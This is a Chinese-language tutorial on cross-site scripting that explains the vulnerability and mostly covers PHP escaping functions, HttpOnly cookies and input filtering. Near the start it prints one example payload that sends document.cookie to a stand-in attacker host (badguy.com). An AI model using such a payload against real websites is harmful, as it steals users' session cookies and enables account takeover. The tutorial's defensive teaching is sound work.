XSS***:

跨站脚本***(Cross Site Scripting)。XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。

以下是一个恶意js脚本的范例:


<script>
window.open("http://badguy.com?cookie="+document.cookie)
</script>

下面简单介绍一下Cross脚本的防御方法:

大体的思路很简单,一般XSS***都是程序没有过滤掉用户输入中的恶意js脚本,以致恶意的js脚本被解释执行。所以我们只需要将用户输入字符串进行检测,去掉<script></script>标签,或者转义'<'字符。

PHP代码:

if($_SERVER['REQUEST_URI']) {
    $temp = urldecode($_SERVER['REQUEST_URI']);
    if(strexists($temp, '<') || strexists($temp, '"')) {
        $_GET = shtmlspecialchars($_GET);//XSS
    }
}
                                                                                           
//取消HTML代码
function shtmlspecialchars($string) {
    if(is_array($string)) {
        foreach($string as $key => $val) {
            $string[$key] = shtmlspecialchars($val);
        }
    } else {
        $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4})|[a-zA-Z][a-z0-9]{2,5});)/', '&\\1',
            str_replace(array('&', '"', '<', '>'), array('&amp;', '&quot;', '&lt;', '&gt;'), $string));
    }
    return $string;
}

当然也可以转义:

1、htmlspecialchars() 转义特别的字符为HTML实体

  • '&' (ampersand) becomes '&amp;'

  • '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set.

  • ''' (single quote) becomes '&#039;' only when ENT_QUOTES is set.

  • '<' (less than) becomes '&lt;'

  • '>' (greater than) becomes '&gt;'

2、htmlspecialchars_decode()将实体转成HTML代码,函数1的反函数

3、 htmlentities()这个是全部转换html实体,和htmlspecialchars()区别在于,这个函数是转义全部的字符,而htmlspecialchars()仅仅转义上面限定的5个特殊字符


除此之外,有些***脚本不一定位于<script></script>中,因此

  1. 将重要的cookie标记为http only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了。

  2. 只允许用户输入我们期望的数据,采用正则表达式限制用户输入的格式。

  3. 对数据进行Html Encode 处理。

  4. 过滤或移除特殊的Html标签, 例如: <script>, <iframe> ,  &lt; for <, &gt; for >, &quot for

  5. 过滤JavaScript 事件的标签。例如 " "onfocus" 等等。